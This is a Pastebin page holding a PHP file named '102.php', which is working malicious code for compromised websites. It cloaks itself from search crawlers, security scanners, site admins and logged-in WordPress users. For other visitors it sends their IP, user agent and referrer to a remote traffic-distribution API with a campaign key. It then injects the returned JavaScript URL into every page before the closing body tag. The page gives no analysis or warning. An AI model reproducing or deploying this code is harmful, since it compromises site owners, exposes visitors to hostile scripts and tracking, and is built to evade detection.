Advertisement
PalmaSolutions

102.php

Jul 27th, 2019
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.67 KB | None | 0 0
  1. @ini_set('display_errors', '0');
  2. error_reporting(0);
  3. $skipme = false;
  4. $bad_agents = '~google|360Spider|80legs|AIBOT|Aboundex|Acunetix|AhrefsBot|Alexibot|BLEXBot|BackDoorBot|BackWeb|Baiduspider|Bandit|BatchFTP|Bigfoot|Black.Hole|BlackWidow|BlowFish|BotALot|Buddy|BuiltBotTough|Bullseye|BunnySlippers|Cegbfeieh|CheeseBot|CherryPicker|ChinaClaw|Cogentbot|Collector|Copier|CopyRightCheck|Crescent|Custo|DIIbot|DISCo|DittoSpyder|Download Demon|Download Devil|Download Wonder|Drip|EasyDL|EirGrabber|EmailCollector|EmailSiphon|EmailWolf|EroCrawler|Exabot|Express WebPictures|Extractor|EyeNetIE|FHscan|Foobot|FrontPage|Go-Ahead-Got-It|GrabNet|Grafula|HMView|HTTrack|Harvest|IlseBot|Image Stripper|Image Sucker|Indy Library|InfoNavibot|InfoTekies|Intelliseek|InterGET|Internet Ninja|Iria|JOC|Jakarta|James BOT|Java|JennyBot|JetCar|JustView|Jyxobot|Kenjin.Spider|Keyword.Density|LNSpiderguy|LWP::Simple|LexiBot|LinkScan/8.1a.Unix|LinkWalker|LinkextractorPro|LinkpadBot|MIDown tool|MIIxpc|MJ12bot|Mag-Net|Magnet|MarkWatch|Mass Downloader|Mata.Hari|MegaIndex.ru/2.0|Memo|Microsoft URL Control|Microsoft.URL|Mirror|Missigua Locator|Mister PiX|Mozilla.\*NEWT|Mozilla\/3.Mozilla\/2.01|NAMEPROTECT|NICErsPRO|NPbot|Navroad|NearSite|Net Vampire|NetAnts|NetMechanic|NetSpider|NetZIP|Netcraft|NextGenSearchBot|NimbleCrawler|Ninja|Octopus|Offline Explorer|Offline Navigator|Openfind|OutfoxBot|PHP version tracker|PageGrabber|Papa Foto|Pockey|ProPowerBot\/2.14|ProWebWalker|Pump|QueryN.Metasearch|RMA|ReGet|RealDownload|Reaper|Recorder|RepoMonkey|SEOkicks|SearchmetricsBot|SemrushBot|Siphon|SiteExplorer|SiteSnagger|SlySearch|SmartDownload|Snake|Snapbot|Snoopy|SpaceBison|SpankBot|Sqworm|Stripper|Sucker|SuperBot|SuperHTTP|Surfbot|Szukacz\/1.4|Teleport|Telesoft|The.Intraformant|TheNomad|TightTwatBot|Titan|True_bot|TurnitinBot|TurnitinBot\/1.5|URLy.Warning|VCI|Vacuum|VoidEYE|WISENutbot|WWW-Collector-E|WWWOFFLE|Web Image Collector|Web Sucker|Web.Image.Collector|WebAuto|WebBandit|WebCopier|WebEMailExtrac.\*\" bot|WebEnhancer|WebFetch|WebGo IS|WebLeacher|WebReaper|WebSauger|WebStripper|WebWhacker|WebZIP|Webclipping.com|WebmasterWorldForumBot|Website Quester|Website eXtractor|Webster|Wget|Whacker|Widow|Xaldon|Xenu|Zeus|ZmEu|Zyborg|archive.org_bot|asterias|attach|cosmos|dragonfly|eCatch|ebingbong|flunky|gotit|hloader|humanlinks|ia_archiver|larbin|lftp|libWeb\/clsHTTP|likse|lwp-trivial|moget|niki-bot|pavuk|pcBrowser|psbot|rogerBot|sogou|spanner|spbot|suzuran|tAkeOut|turingos~i';
  5. $bad_urls = '#xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#';
  6. if (@preg_match($bad_agents, $_SERVER['HTTP_USER_AGENT'])) {
  7.     $skipme = true;
  8. }
  9. if (!$skipme && function_exists('xg')) {
  10.     $skipme = true;
  11. }
  12. if (!$skipme && @preg_match($bad_urls, $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'])) {
  13.     $skipme = true;
  14. }
  15. if (!$skipme && (@strpos($_SERVER["HTTP_ACCEPT_LANGUAGE"], 'ru') !== false OR @strpos($_SERVER["HTTP_ACCEPT_LANGUAGE"], 'en') == false)) {
  16.     $skipme = true;
  17. }
  18. if (!$skipme) {
  19.     foreach ($_COOKIE as $k => $v) {
  20.         if (strpos($k, 'wordpress_logged_in') !== false) {
  21.             $skipme = true;
  22.             break;
  23.         }
  24.     }
  25. }
  26. if (isset($_REQUEST['xxxtest'])) {
  27.     $skipme = false;
  28. }
  29. if (!$skipme) {
  30.     function xg($url) {
  31.         if (function_exists('curl_init')) {
  32.             $ch = curl_init($url);
  33.             curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
  34.             curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  35.             curl_setopt($ch, CURLOPT_HEADER, 0);
  36.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  37.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  38.             $data = curl_exec($ch);
  39.             curl_close($ch);
  40.             return $data;
  41.         } elseif (@ini_get('allow_url_fopen')) {
  42.             return @file_get_contents($url);
  43.         } else {
  44.             $parts = parse_url($url);
  45.             $target = $parts['host'];
  46.             $port = isset($parts['port']) ? $parts['port'] : 80;
  47.             $page = isset($parts['path']) ? $parts['path'] : '';
  48.             $page .= isset($parts['query']) ? '?' . $parts['query'] : '';
  49.             $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
  50.             $page = ($page == '') ? '/' : $page;
  51.             if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {
  52.                 @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));
  53.                 $headers = "GET $page HTTP/1.1\r\n";
  54.                 $headers .= "Host: {$parts['host']}\r\n";
  55.                 $headers .= "Connection: Close\r\n\r\n";
  56.                 if (fwrite($fp, $headers)) {
  57.                     $resp = '';
  58.                     while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {
  59.                         $resp .= $curr;
  60.                     }
  61.                     if (isset($curr) && $curr !== false) {
  62.                         fclose($fp);
  63.                         return substr(strstr($resp, "\r\n\r\n"), 3);
  64.                     }
  65.                 }
  66.                 fclose($fp);
  67.             }
  68.         }
  69.         return false;
  70.     }
  71.     function xu() {
  72.         $api_url = 'http://bidsintro.trade/xxx/api.php';
  73.         $api_key = '608c38901a26d8a5bf09cbb4fc6a8183';
  74.         $api_campaign = 'fPJP7q';
  75.         $keyword = urlencode($_SERVER['HTTP_HOST']);
  76.         $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
  77.         $ua = urlencode($_SERVER['HTTP_USER_AGENT']);
  78.         $ip = null;
  79.         $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
  80.         foreach ($headers as $header) {
  81.             if (!empty($_SERVER[$header])) {
  82.                 $ip = $_SERVER[$header];
  83.                 break;
  84.             }
  85.         }
  86.         if (strstr($ip, ',')) {
  87.             $tmp = explode(',', $ip);
  88.             if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) {
  89.                 $ip = trim($tmp[count($tmp) - 2]);
  90.             } else {
  91.                 $ip = trim($tmp[0]);
  92.             }
  93.         }
  94.         $referrer = urlencode(@$_SERVER['HTTP_REFERER']);
  95.         if (isset($_REQUEST['xxxtest'])) {
  96.             $url = "$api_url?is_api=1&action=get_link&api_key=$api_key&campaign=xxxcheck&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang";
  97.         } else {
  98.             $url = "$api_url?is_api=1&action=get_link&api_key=$api_key&campaign=$api_campaign&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang";
  99.         }
  100.         return $url;
  101.     }
  102.     function xp($p) {
  103.         if (strpos($p, 'xxxtestok') !== FALSE) {
  104.             die('xxxtestok');
  105.         }
  106.         if (strpos($p, 'campaign_id')) {
  107.             $res = substr($p, strpos($p, '"url":"')+7);
  108.             $res = substr($res, 0, strpos($res, '"},"redirect"'));
  109.             $res = str_replace('\/', '/', $res);
  110.             if (strpos($res, '.js') !== FALSE) {
  111.                 return $res;
  112.             }
  113.         }
  114.         return FALSE;
  115.     }
  116.     $xi = xp(xg(xu()));
  117.     function xs($content) {
  118.         global $xi;
  119.         if ($xi) {
  120.             if (strpos($xi, 'jquery')) {
  121.                 $content = preg_replace('#</body>#iUs', "<script type=\"text/javascript\" src=\"https://code.jquery.com/jquery-3.1.1.min.js\"></script>\n<script type=\"text/javascript\" src=\"$xi\"></script>\n</body>", $content, 1);
  122.             } else {
  123.                 $content = preg_replace('#</body>#iUs', "<script type=\"text/javascript\" src=\"$xi\"></script>\n</body>", $content, 1);
  124.             }
  125.         }
  126.         return $content;
  127.     }
  128.     if ($xi) {
  129.         ob_start('xs');
  130.         register_shutdown_function('ob_end_flush');
  131.     }
  132. }
  133. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement